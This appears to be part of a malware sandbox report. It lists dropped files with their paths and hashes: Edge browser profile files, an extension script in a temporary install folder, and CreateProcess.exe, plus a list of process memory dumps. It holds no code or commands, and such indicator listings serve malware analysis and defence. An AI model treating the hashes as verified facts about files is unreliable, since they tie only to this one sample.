Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 ce290de7596f75abeddec539a25364133f2586f7d47310206c307ed7ac999357
MD5 dfe45d49142ebe5c734a6fbd46e705e3
SHA1 c16c2890d07c63cb7eded0bf2bc2a88ffead7db0
SHA512 c2938ef1450d7d43a39f53d55eb576757691554af5531adc9341c2d5c1347de272d3c5658bd27589772f3b1f96299a1c09bd8939f8cdaba24f79509b3fbb6343
SSDEEP 768:kfISGS7pLuL7CvWgd5fWb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVpgtSV2xroHh0wW:kfISGqE7CvWgd5fWbu1jaagtU2KHh0wW
TLSH
T1C0E2EC3B680CCB7F4F8049DCEC297E9AADA801CF96D8CD9447EA850C03C66EB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 8102f107b2062391e7dae10f1b3da25f1b3f660fef86b4b7eea1aae37cb7b8f6
MD5 58e7b7faa7b04984e50fc2befd9e4ff4
SHA1 1f8a58af066e9ccdb5b017109323561bafb6431e
SHA512 fbc9ae30793e867bf8c5e3b3b8c69fa031b134309e3f798275eeee9b0585e915c3d0409aaca0969b0dfc9add8642f1287b4c155513e0e6ac809ee393d89fac92
SSDEEP 24:KSi5EiBikimPijSiAisiv1ikiDDimI4iIivKXiIhPiiiv1Ri+i/SriR5iEJicik0:Kc2IfKbiIzytPIVKckoYeInK76Mnyxz
TLSH
T14191ABD5703B824038BF690881B4CA26D6D6B0B37058A56B7FE841B64FA7F025EFD5C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a1137.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a1137.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 3ab61b03f70489a98c6e71bcced7e151d2510c7ed4f4869d45600fe31cfd7658
MD5 b2f7debbd6ae33487fc7f745be9fadf9
SHA1 c670fc63f09a49004b58e67ee2ab1ba888c12e6a
SHA512 0e910ca9105a1d8464ca177a4b8cacba9a2d707e62e1ed172a7f7759e8f805686417bbf30e3a3f3fe7713ead9f222bed89d176d4286da237da66ba4bf3f1dfbe
SSDEEP 768:/rv+4UNbdq3xJq9LLsAAam6aQMGdjWca4GhfBqPeU/:/bsbc3BKmaME6piH
TLSH
T1D4F2BE31A86C9973DDB79A99F21B6787BEF021A385D40A80D9D82B0D43974CE3307D27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 36KB
SHA256 b93f8b8a73cd1ed96c7e7d4dd12d4dd83b3510e2287d69940ce4fa52eb26360a
MD5 f9db249a48e19f3cb099bf9838ae9faf
SHA1 81902bd5ce63403612f3cca27a76bc6de1cf664c
SHA512 45035ee08146e1d82569d4edad0c2e43658c911a11d936dbc29e0f06445e4afb6dd0b9d9386de42973a32c43656a15414e4fd3486575a3d81af080d3b4ebad3a
SSDEEP 768:rrv+4UNbd133Dq9LLHLt6Aam6aQMGdjWca4Ghf9pdS:rbsbv38UmaME6ppQ
TLSH
T155F2AF31A87CD973ADB7A695F21B3687BEB0216388C40E84D9D95B0D42974CE370BD1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 bcd917e683729c6078eb647c21908fc1da650f278430d1e92beff26ada0481c6
MD5 7837a776eb83afd861ea9246b6f5546e
SHA1 38fefbbf9fef90a2d505702148fe2a1722143f5f
SHA512 a8fb22c5b42ce5164397ea72bfe76e3553d2c0cab47c3e56c897f98cf249b1cadccb9c8fd3c6956fc3b105f46238a874f33d00bcebc06364ed9cc21363658b56
SSDEEP 768:JF1j+9r3JwgZ3zLLHLFAam6aQMGdjWca4Ghf9ph4:49r3tmaME6ppK
TLSH
T1ABF26B329865CA77ADE797D5F71A7687EEF012A388C85DC4DAC86E0C01C718E170BD1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 2f3c0da43d1683a7945ed900d0c35d74685aa27c85735623402cac4f3675f4c4
MD5 fb2fb51f2347d28194e216e84a91537e
SHA1 58506ac6bfcbf979f25d85c428a55440c15ba69b
SHA512 83295a8b075f1fccef70cae0ab2785e4024a43f70bffbc92a2e131c3986b3680c1cec33cc442216f848c4614b90d5f23da038fa11b7011b067838966f302dcc9
SSDEEP 768:Aj+9r3qDq9LLHLt6Aam6aQMGdjWca4Ghf9ph4:/9r3bUmaME6ppK
TLSH
T168D29F3168658D739CA79699F72B3787BEF012B388C80E84D9D96F0D02D718E270791B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

176c5968-5782-4c4c-90d6-979d7829492b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\176c5968-5782-4c4c-90d6-979d7829492b.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3332_471440494\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 7a01425d484a2a221f411b2a56563e10c9aa9f56e1818a1e3c01c7bd04968cb9
MD5 004577b5aec1ca0be859f89ea8683ed6
SHA1 86af986c80eb48a66c21270ee0a42a00deeee382
SHA512 7875c7e581ae6fff5101ff4397463166eccc7d161fd411be8f418b7f708cd82f6f7e718c536be567ce01944f597e78edb353ba98c56c8bedb8ebcc905afac7ce
TLSH
T14F71238357B9DAF3C1DA5BF402835248F2FF2238072330254B555546AB30A7A14B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/8-435-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/792-483-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1824-327-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1860-318-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2632-383-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2684-274-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3436-415-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3668-471-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3848-323-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3864-367-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4176-446-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4296-249-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4352-286-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4416-396-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5024-63-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5724-451-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5832-198-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6048-500-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6100-342-0x0000000000010000-0x00000000000AB000-memory.dmp

Download